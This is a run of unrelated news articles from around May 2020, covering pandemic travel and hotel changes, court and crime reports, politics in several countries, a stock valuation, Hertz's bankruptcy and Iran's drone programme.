Government restrictions on occupancy levels. For example, hotels in Spain reopened on May 11 with occupancy limited to 30 per cent.

Housekeeping robots could be introduced widely. They are already at Lhotel Island South in Hong Kong, which has a cleaning robot.

Hotel staff will have temperature checks. Castello di Ugento in Puglia aims to do this twice daily.

24-hour FaceTime concierges could be the norm  it is being trialled at Finca Cortesin resort in Andalucia, Spain.

No more buffets. Get ready for scheduled eating times in restaurants with tables well spaced.

Hotels could stop offering buffets and breakfast could be served like food in canteens

Breakfasts could be served like food at canteens with social- distancing marks to keep queuing guests separated from each other.

Private dining in rooms will be encouraged.

Mannequins for company in bars? It sounds wacky but thats going on in Vienna, Austria, at the cocktail bar Kleinod Prunkstuck, where 30 elegantly-dressed mannequins bring some character to empty tables.

Robot waiters are also a possibility. Singapores Hotel Jen Orchardgateway has been doing this since 2017. The hotels robots, Jeno and Jena, are 3 ft tall, have steady hands, wear uniforms, can make phone calls and operate the hotel lift. London restaurant chain The Tea Terrace started using such robots last year.

Spas will offer plastic face shields, regular sanitation and temperature checks. Staff and guests will have to wear face masks and gloves at the very least and strict time slots to limit contact in communal changing rooms.

Facials and massages may also be out. The Healthy Holiday Company predicts a growth in reflexology, shiatsu and reiki  which involve less contact.

Yoga and meditation classes in rooms, perhaps via TV screens  ideas already being considered at SHA Wellness Clinic (shawellnessclinic.com) in Spain.

Gyms will have capacity limited and machines scrupulously cleaned after each use.

Time slots may be brought in for communal pools, while rooms with private plunge pools will come at a premium.

More flexibility regarding free last-minute cancellations is expected to come in.

RENTALS

Holiday rentals of every type will have to prove they are clean to reassure customers

Social distancing will be easier than in hotels so bookings may boom.

Every type of holiday rental will have to prove they are clean to reassure customers.

Hygiene standards approved by governments are expected across the globe. Singapores SG Clean initiative and Portugals Clean & Safe stamp are some of the first nationwide initiatives.

In the UK, Premier Cottages is part of an advisory panel, along with UK Hospitality, Visit England and others, which will formulate health and safety guidelines to be circulated by the Professional Association of Self-Caterers.

More self-catering accommodation will offer electronic key-safes and contactless check-in; already being introduced by Olivers Travels, which has holiday rentals in the UK and Europe.

Chefs on call will be offered more widely because people are reluctant to eat at restaurants.

Deep cleans will be organised between bookings, so swap-over where guests leave in the morning and others arrive in the afternoon become rarer. Mullans Bay in Northern Ireland has brought in deep cleaning between bookings, as well as a requirement for guests to drive to the door of the rental so check-in is contactless.

To win guests away from hotels that can no longer easily offer such services, some upmarket rental chains may offer spa treatments in privacy. The Greek Villas company has already begun this.

If hosts do not install hand-sanitiser dispensers and plastic divisions, or put plastic coverings over their own household items, some guests could be put off.
This is the moment CCTV footage captured a gun robbery inside a Tesco Express in West Sussex last week.

Sussex Police released footage of a man dressed in a beanie hat and green jacket, whilst also wearing protective equipment such as a white face mask and PPE gloves, threatening a staff worker with a silver handgun and stealing money from the store in Shoreham.

The incident took place at 6.27am on Friday May 15, with police detectives appealing to the public to give any information they can to help identify the man.

Two men, aged 30 and 38, from Shoreham were arrested on suspicion of robbery and have been released on bail until June 12.

Police have released CCTV footage of an armed robbery inside a Tesco Express in Shoreham, West Sussex which took place on Friday May 15

Sussex Police are seeking help in identifying the culprit, who walked into the store wearing a beanie hat, green jacket and personal protective equipment in the form of gloves and a white face mask. Two men, aged 30 and 38, have been arrested on suspicion of robbery

The man was first spotted on CCTV walking into the store with a hand tucked inside his jacket by his right arm.

He then ordered a woman in Tesco uniform to go behind the counter and open the cash register.

Once the worker had opened the till before putting her hands up in the air, the man grabbed a large amount of cash before walking out the store.

After entering the store, the man, who was holding a silver handgun, asked a woman in a Tesco uniform the door to go behind the counter and open the cash register

Once the worker had opened the till, the man took a large amount of money from the cash register before heading towards the exit

With the worker keeping her hands in the air, the man left the area behind the counter before walking outside the shop doors where he came in

Detective Sergeant Andy Ricks said: 'This was a terrifying incident and we are seeking the public's help in identifying the man in the CCTV.

'I am hoping that someone may recognise the distinctive beanie hat or the green jacket worn by the suspect.

'If you can help us in any way with our inquiries, please report online or call 101 quoting Operation Stafford.'
By Ayya Lmahamad

Azerbaijan has sent 23 tons of humanitarian aid to Ukraine as part of counteraction to the spread of COVID-19, press- service of the President of Ukraine reported on May 21.

Humanitarian aid with a total weight of 23 tons, includes: 100,000 medical masks, 5,000 protective overalls, as well as contactless thermometers, disinfectors and other medical equipment, the report reads.

The agreement on provision of this humanitarian aid was reached as a result of a telephone conversation between President Vladimir Zelensky and President Ilham Aliyev on March 26, 2020.

"Ukraine is deeply grateful to the Republic of Azerbaijan and personally to President Ilham Aliyev for the provided humanitarian aid, which is especially valuable in the difficult time of the fight against the world pandemic of coronavirus," said Deputy Head of the Office of the President of Ukraine Ihor Zhovkva.

Furthermore, he emphasized that this step was another evidence of the strength of the strategic partnership between Kyiv and Baku.

Azerbaijan has provided humanitarian aid to 13 countries and three international organizations so far.

Azerbaijan allocated $10 million to WHO for the fight against COVID-19 and also sent humanitarian aid worth $5 million to neighboring Iran.

As of May 22, Azerbaijan has registered 3.749 COVID-19 cases and 44 coronavirus-related deaths so far. The total number of recovered patients is 2.340.

---

Follow us on Twitter @AzerNewsAz
V irgin Atlantic has announced it wont resume flights until August at the earliest due to the governments new mandatory self-isolation regulations for travellers entering the UK.

The safety and security of our people and our customers is always our top priority and public health must come first, a spokesperson for the airline tells the Standard.

However, by introducing a mandatory 14 day self-isolation for every single traveller entering the UK, the Governments approach will prevent flights from resuming. We are continually reviewing our flying programme and with these restrictions, there simply wont be sufficient demand to resume passenger services before August at the earliest.

We know that as the Covid-19 crisis subsides, air travel will be a vital enabler of the UKs economic recovery.

Therefore, we are calling for a multi-layered approach of carefully targeted public health and screening measures, which will allow for a successful and safe restart of international air travel for passengers and businesses.

This morning it was announced that travellers could face fines of up to 1,000 if they fail to self-isolate for 14 days after arriving in the UK. This new measure is set to be put in place to prevent a second wave of the virus in coming weeks.

Visitors who enter the country will be asked to share their contact details, with health officials performing spot checks to make sure they are complying with the rules.

This news is sure to put a damper on any travel plans Brits were hoping for this summer - earlier this week Greece announced it would be welcoming back international tourists from June 15 , but the new quarantine regulations could deter travellers from any international travel in the foreseeable future.
YEREVAN, 22 MAY, ARMENPRESS: In the framework of the EU funded Armenian-Georgian Platform for Policy Development project the Yerevan and Tbilisi Schools of Political Studies organize a series of focus group meetings on fight against corruption, anti-discrimination and tourism for economic growth. The third meeting had to be organized in an online format conditioned by the pandemic situation. Armenian-Georgian focus group discussions on anti-corruption took place on 8-10 May 2020 via online platform.

During the three-day online discussions 19 representatives from Yerevan and Tbilisi Schools of Political Studies carried out discussions on practical steps to prevent and fight corruption in Armenia and in Georgia. The group of young leaders looked into the existing gaps and challenges, as well as underlined the importance of education and raising awareness of the population in order to establish perception of justice and zero tolerance towards corruption culture in the societies. The participants attached the importance to the lessons learnt, exchange of good practices and finding new niches for mutual cooperation.

Qualified Armenian and Georgian experts presented the situation, national strategies, legal regulations, policies and effective tools for combating corruption. Debates and discussions included topics like Classification and forms of corruption; Corruption mitigation strategies in the public and private sectors  good practices and new approaches; Growth-enhancing effects of anti-corruption policies; Detecting and investigating corruption; Corruption in judiciary; Comparative analysis on corruption in Armenia and Georgia: causes, effects and solutions.

The results of the Armenian-Georgian focus group discussions will be reflected in policy recommendations with concrete actions prepared by experts of the Yerevan and Tbilisi Schools of Political Studies, to support the authorities to manage the corruption risks by preventing and detecting it. The policy recommendation will be presented in June 2020.

Armenian-Georgian Platform for Policy Development project is funded by the European Union under the Rapid Response Mechanism of the Eastern Partnership Civil Society Facility. The project is implemented by the Yerevan School of Political Studies in cooperation with the Tbilisi School of Political Studies. Both Schools belong to the Network of the European Association of the Schools of Political Studies.
A mother-of-five arrested on suspicion of threatening pharmacy workers had been having her children minded to give her a break during the pandemic and went "partying for three days", a court has heard.

Leanne O'Neill (29), who was intoxicated when she allegedly made the threats, had taken some "time out for herself" and it was a "crazy day", her lawyer said.

Dublin District Court heard she was granted bail under strict condition to stay away from the pharmacy but returned just hours after her release and made more alleged threats.

Her bail was revoked and she was remanded in custody.

Ms O'Neill, of Sheridan Place, in the north inner city, is charged with threatening, abusive and insulting behaviour at the nearby Frederick Pharmacy, in North Frederick Street, on Monday.

The accused was first arrested on suspicion of making threats to kill at the Medipharm pharmacy, held in custody overnight and brought before Judge Colin Daly, who was told that she had told gardai when charged: "I'll burn her poxy shop down."

The prosecuting garda said directions would be sought on whether to bring further charges.

Judge Daly granted Ms O'Neill bail under strict condition that she stayed away from the pharmacy and did not interact with staff at the store in any way.

However, she was brought back before the court hours after her release.

Judge Patricia McNamara was then presiding and the garda told her about the earlier hearing and that since then, Ms O'Neill had gone back to the same pharmacy and allegedly threatened staff again.

Return

Ms O'Neill had still been at the premises when gardai arrived and they heard her say "I know where you live" to one of the staff members.

Gardai objected to bail again, saying they believed she would return to the pharmacy.

Defence solicitor Donal Quigley said Ms O'Neill, who is asthmatic, "goes to the pharmacy quite a lot" to collect medication.

In the initial incident, he said, she was not being allowed to get medication.

The court heard that Ms O'Neill told gardai she had been "partying for three days" and that she had "taken an illicit substance".

Mr Quigley said the accused's children had been taken by a family member for a few days to "give her a break" during the pandemic.

"She was taking some time out for herself," he said.

In the second incident after she was released on bail, she had been at the doctor next door and returned to the pharmacy to apologise to staff, the solicitor added.

She should not have gone back but was not familiar with the courts and was trying to "make peace", Mr Quigley said.

"It was a crazy day, like nothing she has ever experienced before," he added.

If the accused was refused bail she would be away from her children for several months.

"I have my children at home who are depending on me," the accused said, pleading for bail.

Judge McNamara refused bail and remanded Ms O'Neill in custody to May 26.
Thousands of teachers will now begin grading Leaving Cert students as the countrys largest second-level teaching union has advised its members to begin working on the process.

This followed an earlier stalemate between the Association of Secondary Teachers, Ireland (ASTI) and the Department of Education, after the union found the State indemnity offered to teachers unacceptable.

The ASTI concerns were based around legal advice it received that stated teachers potentially would have to bear the legal costs should proceedings be taken against them.

In a statement issued this Friday, the ASTI said it has now secured the necessary assurances that allow for teachers to proceed with this work without fear of negative financial consequences.

Crucially, the Department of Education and Skills has given an undertaking that in all cases where the indemnity applies, the Chief State Solicitors Office will take over the running of the litigation," said the statement.

This strengthening of the indemnity will ensure that a teacher will not have to employ her/ his own legal team to defend herself/ himself and run the risk of incurring large irrecoverable costs and expenses.

The statement added: "The ASTI is now in a position to advise its members to engage with the Calculated Grades for Leaving Certificate 2020 model.

"Teachers can now proceed with the process and will apply the high professional standards it requires."

Education Minister Joe McHugh has said he is glad the ASTI has advised its members to co-operate with the calculated grading system for this years Leaving Certificate.

He said: My concern in establishing the model for calculated grades has always been the needs of the Leaving Certificate students who have been affected by the Covid-19 pandemic. We have always sought to put their interests at the heart of this.

I am delighted to be able to reassure them that the process will move ahead speedily.

He said further guidance and resources are being developed to support the implementation of calculated grades. These include an instructional video for teachers and information leaflets for schools and for parents/guardians.
Sydney's Sea Life Aquarium is now offering a unique dining experience with guests able to book out the venue for a night out with friends.

Groups of 10 will be treated to a three course menu along with a premium drinks package inside the aquarium's stunning Great Barrier Reef exhibit.

While previous dining experiences allowed several groups of people to dine inside all at once, this is the perfect opportunity to have the whole aquarium to yourself with your closest friends or family.

The two-hour exclusive dinner costs $2,000 - $200 per person - and includes all food and beverages.

Sydney's Sea Life Aquarium is now offering a unique dining experience unlike any other, as guests can now book out the entire venue for an unforgettable night out

Yourself and nine others will be treated to a three course menu along with a premium drinks package inside the aquarium's stunning Great Barrier Reef exhibit (pictured)

The package has launched as COVID-19 start to ease across Australia and restaurants start to re-open in New South Wales.

On Friday it was announced that as of June 1, pubs and restaurants in New South Wales will be able to host 50 patrons.

Those who book the aquarium experience will be able to enjoy a cocktail on arrival and the two-hour premium drinks package includes red, white and sparkling wine, beers and house spirits.

The two-hour exclusive dinner costs $2,000 - $200 per person - and includes all food and beverages

Prior to booking, guests have the option to view the dining experience through the website's 360 degree virtual reality tour

From this weekend customers can book via the Sea Life Aquarium website, but will need to act quickly as only one private seating will be available each night.

Prior to booking, guests can view the dining experience through the website's 360 degree virtual reality tour.

Similar after hours dining experiences are also available at the Wild Life Sydney Zoo and Sydney Madame Tussauds.
(JNS)Annexation Would Hurt Israel declared the headline of a May 8 op-ed in The New York Times by Mideast scholar Daniel Pipes. According to Pipes, the incorporation of any part of the Judea-Samaria territories into the State of Israel is a bad idea because it will anger a lot of people. But the historical record shows that such fears are not well founded.

U.S. President Donald Trump will erupt in fury, writes Pipes. Democrats will be alienated from Israel. Major European states will be outraged. The hope for improving relations with moderate Arab regimes will ...
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The President of the National Assembly (NA) of Armenia, Ararat Mirzoyan, met with the newly elected speaker of the NA of the Artsakh (Nagorno-Karabakh) Republic, Artur Tovmasyan.

Mirzoyan expressed his readiness to support his Artsakh colleagues in all spheres of their activities. The head of the Armenian parliament expressed confidence that the close cooperation with the Artsakh legislature will develop even more.

Tovmasyan, in turn, noted that the two parliaments have a considerable work to do on the shared agenda of the Armenian people, including the Artsakh issue and the recognition Armenian Genocide. The head of the Artsakh legislature assured that they will develop the ties with NA of Armenia. He expressed readiness to give a new impetus to the work of the two parliamentsalso at the level of committees.

Subsequently, the discussion of the two interlocutors continued with an expanded meeting.
She has shed belongings as well, including 10 pairs of boots. I could get rid of five more, which would leave me with three, including the knee-high cowboy boots, which she has resoled umpteen times.

Shes reduced the number of employees to one  herself  and even her herd of fiberglass goats, her stores mascots, from nine to four. When the goats were out, the store was open.

The old slogan was We buy anything a goat would eat. Now its We buy most anything a picky goat would eat.

I dont want our goats to get overweight, she said. This is a very calculated move.

Calos has survived many business storms due to her ability to quickly react, evaluate, adjust, move forward and, luckily, thrive, she said.

The declining market was the first reason for the latest iteration. Secondly, I have surpassed the ripe old age of 60 and wanted to ensure I could continue to earn a living without being overwhelmed with too much space to fill.
Bihar government on Friday sought more time from the Patna high court (HC) to submit its status report on the quarantine facilities in the state for coronavirus disease (Covid-19) patients. The court has fixed June 2 as the next date of hearing on the matter.

Earlier on May 13, the court had sought the state governments response about the status of Covid-19 quarantine centres after a public interest litigation (PIL) was filed by Rajeev Ranjan of Sonepur in Saran district.

The PIL had prayed to the court to give direction to the state government for better living conditions in the quarantine centres that have been set up to lodge migrant workers returning to the state from other parts of the country amid the easing of lockdown restrictions. The plea had cited the guidelines issued by the Union Ministry of Home Affairs (MHA) to bolster its argument.

Advocate General Lalit Kishor, who appeared on behalf of the state government, told a two-judge HC bench, comprising Chief Justice Sanjay Karol and Justice S Kumar, that more time would be required to submit the status report.

The petitioner had drawn the courts attention to the media reports, viral videos and several instances of migrant workers fleeing from the quarantine centres because of unhygienic living conditions and inedible food.

The state will face dire consequences if migrant workers are not kept in properly maintained quarantine centres, as many of them are coming back from worst-hit Covid-19 states such as Maharashtra and Gujarat, said the petitioner, seeking direction to the government to ramp up the test count for the viral outbreak because of the influx of migrant returnees.

Though the state government has announced all the facilities are available at the quarantine centres, many are not complying with the standard operating procedures (SOPs).

A senior leader of the ruling Janata Dal (United) said that party workers had drawn Chief Minister Nitish Kumars attention to the growing inadequacies at the quarantine centres. The opposition parties, too, have been vocal about it.

The issue has struck a political chord, as assembly polls will be held in Bihar later this year. Viral videos of poor facilities at the quarantine centres have become a rage on social media, much to the embarrassment of the state government.

The state government is claiming that it is on a spending spree for the welfare of migrants, but if the benefits are not reaching the intended beneficiaries then it serves no purpose. The headcount of migrant returnees will be a futile exercise. Well face peoples wrath if the rot is not arrested at the earliest. The CM has assured that he would carry out a review of the quarantine centres soon, said a senior JD(U) leader.

The data from the state disaster management department (DMD) showed that around 7.5 lakh migrant returnees are staying at the quarantine centres that are functional at the block level of 38 districts in Bihar.

Around 2.8 lakh migrants will return to the state over the next two days by 169 Shramik Special trains, posing a big challenge for the state government.

So far, 638 trains have brought back around seven lakh migrants to the state.

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May 22, 2020 Gatchalian presses ERC, DOE to expedite electricity bill payment advisory for MECQ Senator Win Gatchalian has implored the Department of Energy (DOE) and the Energy Regulatory Commission (ERC) anew to issue fresh advisory that will help clear the confusion over exorbitant electricity bills amid numerous complaints, especially that some areas have now been placed under modified enhanced community quarantine (MECQ). During Thursday's Committee of the Whole hearing, Gatchalian grilled the DOE and ERC over the power consumers' bill shock this month, saying that the controversy has overshadowed the two agency's achievements and efforts in ensuring the stability of the country's power sector and the constant delivery of electricity in every household during the enhanced community quarantine (ECQ). Gatchalian has hit Meralco's confusing billing statement for May, which he pointed out was the root cause of the confusion for many power consumers. He noted that his office has started initial inquiries on whether or not Meralco has taken advantage of the current pandemic situation to the detriment of the Filipino consumers. "Marami sa ating kababayan ang nagkaroon ng bill shock noong lumabas po yung May billing nila. Maraming nagalit, marami ang na-confuse. Sinasabi nila, nawalan na nga sila ng trabaho tapos pababayaran pa ng napakalaking bill," he said. In his May 19 statement, the lawmaker reminded Meralco of its obligation to follow the ERC advisories on the proper computation of electricity bills and correct payment dates of bills due within the ECQ period. The ERC has already issued two advisories deferring payment of electricity bill falling due within the ECQ, without interest, penalties, fees and other charges - April 15 advisory covering the period March 16, 2020 to April 30, 2020 and May 5 advisory extending the deferment period until May 15, 2020. Furthermore, Gatchalian pointed out that the twin ERC advisories state that the cumulative amount of electricity bill due within the ECQ shall be amortized in four equal monthly installments, payable in the four succeeding billing months following the end of the ECQ. The senator said that the power sector should have prepared for the MECQ without leaving consumers confused and displeased. In response to Gatchalian's queries, ERC Chairperson Agnes Devanadera informed the Senate that the commission has already instructed Meralco to separate electricity bills falling within ECQ and MECQ. Energy Secretary Alfonso Cusi, on the other hand, told the senator that Meralco should detail its computation and explain the excessive billing statement. Gatchalian stressed that an advisory will properly guide consumers on payment of electricity bills. "Kung ang regulator ay hindi maintindihan itong Meralco bill, malamang mas lalo na si Juan dela Cruz. I would like to urge the regulator and the department to find a solution to this. Marami na po talagang galit," he ended.
Atlanta  Joe Biden, the presumptive Democratic presidential nominee, had a testy exchange with a prominent black radio personality on Friday over Bidens support among black voters and his choosing of a running mate.

Charlamagne Tha God pressed Biden on reports that he is considering Minnesota Sen. Amy Klobuchar, who is white, to be vice president and told him black voters saved your political life in the primaries" and have things they want from you.

Im not acknowledging anybody who is being considered, Biden said. But I guarantee you there are multiple black women being considered. Multiple.

A Biden aide then sought to end the interview, prompting the host to say, You can't do that to black media.

Biden responded, I do that to black media and white media and said his wife needed to use the television studio.

He then added: If youve got a problem figuring out whether youre for me or for Trump, then you aint black.

.@JoeBiden: "If you have a problem figuring out whether you're for me or Trump, then you ain't black." @cthagod: "It don't have nothing to do with Trump, it has to do with the fact -- I want something for my community." @breakfastclubam pic.twitter.com/endvWnOIV2  America Rising (@AmericaRising) May 22, 2020

The host countered that conversations about Bidens running mate arent about President Donald Trump, whom many black voters view as racist.

Take a look at my record, Biden said, citing his work as senator to extend the Voting Rights Act of 1965. The NAACP has endorsed me every time Ive run. Come on, take a look at my record.

Biden has emphasized his relationship with black voters, noting throughout the campaign his dependence on black voters in his Delaware Senate races and his partnership as President Barack Obamas top lieutenant.

Black voters helped resurrect Bidens campaign in this years primaries with a second-place finish in the Nevada caucuses and a resounding win in the South Carolina primary after hed started with embarrassing finishes in overwhelmingly white Iowa and New Hampshire.

Older black voters especially sided with Biden over a wide Democratic field that included several black candidates, including Kamala Harris. The California senator is believed to be a contender for the vice-presidential nomination. Other prominent black women mentioned include Georgia voting rights advocate Stacey Abrams, Atlanta Mayor Keisha Lance Bottoms, Florida Rep. Val Demings, Ohio Rep. Marcia Fudge and Susan Rice, Obama's former U.S. ambassador to the U.N.

Symone Sanders, a senior adviser to Biden, said his parting comment in Friday's interview was made in jest."

Lets be clear about what the VP was saying, Sanders tweeted. He was making the distinction that he would put his record with the African American community up against Trumps any day. Period.

Trump's campaign seized on Bidens comments on Friday.

He truly believes that he, a 77-year-old white man, should dictate how Black people should behave, said Katrina Pierson, a senior advisor to Trumps campaign.

The president has a history of incendiary rhetoric related to race.

When he launched his presidential campaign in 2015, Trump called many Mexican immigrants rapists. In 2017, he said there good people on both sides of the clash in Charlottesville, Virginia, between white supremacists and anti-racist demonstrators that left one counter-protester dead.

Last year, during a private White House meeting on immigration, Trump wondered why the United States was admitting so many immigrants from shithole countries like African nations. He also blasted four Democratic congresswomen of color, saying they hate America and should go back to where they come from, even though all are U.S. citizens and three were born in the U.S.
PASCAGOULA, Mississippi -- Along with the many joyous, often tearful reunions which took place when the 859th Engineering Company of the Mississippi Army National Guard returned to Pascagoula Thursday after a 9-month deployment to the Middle East, there was one very important

20 Pascagoula National Guard homecoming

introduction.

When 859th member Alex Nyuyen stepped off the bus, he was introduced to his son -- 7-month old Leo -- for the first time.

Nguyen, 20, is one of the nearly 160 members of the unit which deployed to the Middle East last summer. The unit was there in support of Combined Joint Task Force-Operation Inherent Resolve.

The unit completed several vertical construction projects in multiple countries located in the Middle East to increase protection, improve soldier living quarter and upgrade operational structures.

Nguyens specialty is serving as an electrician, but he is also trained as an equipment operator and carpenter. Hes served in the Guard for 3 1/2 years. In civilian life, he is a student at Ole Miss, studying Electrical Engineering.

I dont know how to explain it, he said of meeting his son for the first time. It was a good feeling, really overwhelming. You never imagine having a son and then knowing I hadnt met him and now I was for the first time -- I was just really happy.

Nguyen said he had just moved from Kuwait to Iraq when his wife, Madison, let him know she was going into labor last September.

After being in Iraq for about a week, she told me she was having the baby, he said. I just remember sitting in my room waiting for her to send me a photo of him.

Leo was born on Sept. 26. Nguyen said he and Madison had settled on the name prior to his deployment.

He said he plans to spend the summer until he returns to Ole Miss just catching up on lost time" with his wife and new son.

Nguyen and the rest of the 859th arrived in Pascagoula on charter buses Thursday afternoon about 5:30 p.m., about an hour after the originally scheduled time, thanks to a flight delay.

The unit was given a police escort to the 859th armory, with Pascagoula residents and others lining the route, where the soldiers were reunited with family and friends before gathering in formation inside the armory for final words and dismissal.

Twelve members of the 859th were awarded the Combat Action Badge during the deployment.

The MSNG is proud of their efforts in support of our nations freedom and we are excited to welcome them home, the Mississippi Army National Guard headquarters said in a release.
China Resources Land Limited (HKG:1109) received a lot of attention from a substantial price movement on the SEHK over the last few months, increasing to HK$38.30 at one point, and dropping to the lows of HK$28.00. Some share price movements can give investors a better opportunity to enter into the stock, and potentially buy at a lower price. A question to answer is whether China Resources Land's current trading price of HK$30.55 reflective of the actual value of the large-cap? Or is it currently undervalued, providing us with the opportunity to buy? Lets take a look at China Resources Lands outlook and value based on the most recent financial data to see if there are any catalysts for a price change.

See our latest analysis for China Resources Land

What's the opportunity in China Resources Land?

According to my price multiple model, which makes a comparison between the company's price-to-earnings ratio and the industry average, the stock price seems to be justfied. Ive used the price-to-earnings ratio in this instance because theres not enough visibility to forecast its cash flows. The stocks ratio of 6.79x is currently trading slightly above its industry peers ratio of 6.31x, which means if you buy China Resources Land today, youd be paying a relatively sensible price for it. And if you believe China Resources Land should be trading in this range, then there isnt really any room for the share price grow beyond the levels of other industry peers over the long-term. Furthermore, China Resources Lands share price also seems relatively stable compared to the rest of the market, as indicated by its low beta. This may mean it is less likely for the stock to fall lower from natural market volatility, which suggests less opportunities to buy moving forward.

Can we expect growth from China Resources Land?

SEHK:1109 Past and Future Earnings May 22nd 2020

Future outlook is an important aspect when youre looking at buying a stock, especially if you are an investor looking for growth in your portfolio. Buying a great company with a robust outlook at a cheap price is always a good investment, so lets also take a look at the company's future expectations. China Resources Lands earnings over the next few years are expected to increase by 22%, indicating a highly optimistic future ahead. This should lead to more robust cash flows, feeding into a higher share value.

Story continues

What this means for you:

Are you a shareholder? 1109s optimistic future growth appears to have been factored into the current share price, with shares trading around industry price multiples. However, there are also other important factors which we havent considered today, such as the track record of its management team. Have these factors changed since the last time you looked at 1109? Will you have enough confidence to invest in the company should the price drop below the industry PE ratio?

Are you a potential investor? If youve been keeping an eye on 1109, now may not be the most optimal time to buy, given it is trading around industry price multiples. However, the positive outlook is encouraging for 1109, which means its worth further examining other factors such as the strength of its balance sheet, in order to take advantage of the next price drop.

Price is just the tip of the iceberg. Dig deeper into what truly matters  the fundamentals  before you make a decision on China Resources Land. You can find everything you need to know about China Resources Land in the latest infographic research report. If you are no longer interested in China Resources Land, you can use our free platform to see my list of over 50 other stocks with a high growth potential.

Love or hate this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com.



This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Thank you for reading.
The coronavirus pandemic has devastated Hertz by grounding business travelers and tourists, making it impossible for the company to continue paying its lenders. A sharp drop in used car prices has also decreased the value of its fleet.

They were doing quite well, but when you turn off the revenues and you own all these cars and all of a sudden the cars are worth less its a very tough business, said John Healy, an analyst and managing director with Northcoast Research in Cleveland.

Hertz, which also owns the Dollar and Thrifty brands, had piled up $17 billion in debt but was reporting healthy sales at the start 2020. But the pandemic dealt what the company has described as a rapid, sudden and dramatic blow. Sales dried up in March as much of the world started to shelter at home.

The companys march to bankruptcy began in late April when it missed a payment on a lease for some of its fleet. It persuaded lenders to give it until midnight on Friday to put together a financial plan that they could accept. But in a filing this month, Hertz acknowledged the enormity of the task.
While Western nations establish Space Force commands for their military, Iran has been more practical and realistic. In 2017 Iran established a Drone Division in its IRGC (Islamic Revolutionary Guard Corps) to handle UAV development, production, distribution and training. An IRGC colonel, a veteran in the UAV field, was appointed to run the Drone Division. Colonel Akbar Karimloo was even allowed to give media interviews about his operation and its accomplishments. Unlike much else with the IRGC and the Iranian military in general, Karimloo had some recent and very real accomplishments to discuss. Not all of them, some of these operations were merely implied because they were officially denied. One of these was the successful use of over twenty armed drones in late 2019 to attack Saudi oil production facilities. Iran attributed this to Shia rebels in Yemen that have substantial, but unofficial, Iran backing. This enables Iran to deny responsibility for the 2019 attack because that would have been an act of war and had some very real and very destructive repercussions for Iran. Instead Iran claimed that the attack was carried out by the Yemeni Shia rebels.

The Saudis were able to collect fragments of the several UAVs involved and reconstruct them. It was obvious that most of these UAVs did not have to range to travel from Yemen to northeast Saudi Arabia. The only other launch area was in nearby Iran. Most of the UAVs involved had been around for a while and were known to be reliable and made in Iran. There are a lot of UAVs developed and manufactured in Iran because UAVs are basically low tech devices using widely available manufacturing techniques and components. UAVs are not high-tech vehicles but assembling those common components correctly can be difficult. To get around that Iran has got a large collection of foreign UAVs that have crashed or been shot down in Iran, or nations that Iran has control over (Syria, Iraq, Yemen and parts of Yemen.) Iran is also a very active buyer in the black market for weapons wreckage. Islamic terrorist and rebel groups worldwide know about this black market and go after this wreckage before the owners can recover or completely destroy it. Israeli and American stuff is particularly valuable. Such wreckage has kept hundreds of skilled Iranians employed over the decades as they pick apart the wreckage to determine what the system contained and how it was put together. This usually results in an accurate appearing mockup and, less frequently, a working copy that can be put to use.

For decades Iran has regularly announced new weapons that were designed and produced in Iran. Over the last decade a growing proportion of these announcements involve UAVs. For example back in 2011 Iran revealed a UAV described as a cruise missile with a 200 kilometer range. It was several years before this new UAV was actually available to use. If you go back and look at the many Iranian announcements of newly developed, high tech, weapons, all you find is a photo op for a prototype. Production versions of these weapons rarely shows up right away, if ever. Its all feel-good propaganda for the religious dictatorship that runs Iran, and its supporters.

But Iran has managed to develop some locally made weapons since the 1980s despite a growing list of sanctions making it difficult to legally import UAV components. As a result Iran likes to recycle older, all the way back to the 1950s military tech. For example, in 2010 Iran announced that it had developed an armed UAV, the Karar (or Karrar) with a range of 1,000 kilometers. Pictures of this new weapon showed what appeared to be a copy of 1950s era American cruise missile, or target drone. These, in turn, were based on a similar weapon, the German V-1 "buzz bomb" that was used extensively in World War II to bomb London. The Iranian Karar had the benefit of more efficient jet engines, more effective flight control hardware and software, and GPS navigation. Karar was not a wonder weapon, but the Iranians are depending on a clueless international mass media, and their own citizens, to believe it is. The Karar effort was not wasted because it was proof that Iran has teams of scientists, engineers and technicians working on UAV tech for a long time. Although touted as an armed cruise missile, Karar has been most often used as a target drone for testing air-to-air and surface-to-air missiles. Target drones were designed for that and that keeps target drones rather more expensive than actual cruise missiles. So while Iran touts Karar as a cruise missile, Iran also found that Karar was one its few UAVs that could perform well as a target drone.

In the last few years Iran has announced many similar weapons, many of them originally conceived in the 1950s. There was, for example, a UAV with a range of 2,000 kilometers. This was announced a decade ago and is now said to be in service as the Fotros. This design is based on several successful Israeli UAV models. These UAVs use simpler, slower and cheaper propeller-driven tech. While the Israeli UAV designs are simple tech, putting all those components together so that you have a capable and reliable UAV is difficult. The Americans managed to emulate the older Israeli designs to produce Predator and Reaper. A decade late China began copying Predator and Reaper and in the last five years Chinese UAVs have dominated the export market. No one gives that manufacturing knowledge away and Iran has had to figure it out. They apparently did that with Fotros, which first flew in 2013 but was not reliable enough for actual service until 2020.

One tech that makes long-range UAVS so useful still eludes Iran. This is satellite control capability, which most American UAVs have. With satellites based control operators can watch what UAVs do in real-time and make critical decisions about where to go and whether to use weapons. The Iranian long-range UAVs use GPS type guidance and are preprogrammed for a specific mission, like take photos and return or carry explosives on a one-way mission. For longer range UAV operations Iran has learned how to use some UAVs as airborne relays. In addition the IRGC can use ground-bases relay stations in areas it controls. In this way operators back in Iran can control some of these long-range operations.

For Iran the primary target for their long-range weapons has been Israel and the United States. American troops operating near Iran have learned to deal with the growing number of Iranian UAVs, often with help from Israel which has a lot more practical experience with Iranian recon and attack UAVs. These low-tech and inexpensive systems are not wonder weapons but they can be a threat if you do not develop ways to deal with them. Israel and the Americans have, Saudi Arabia, until late 2019, had downplayed the threat. No more and this is another reason why the Saudis are getting so chummy with Israel.
Two overground workers of proscribed terror outfit Hizbul Mujahideen and Ansar Ghazwat-ul-Hind have been arrested in Jammu and Kashmir's Pulwama district, officials said on Friday.

They have been identified as Sayar Ahmad Shah from Tral and Tanseem alias Tanveer Ahmad Sheikh from Awantipora, the officials said.

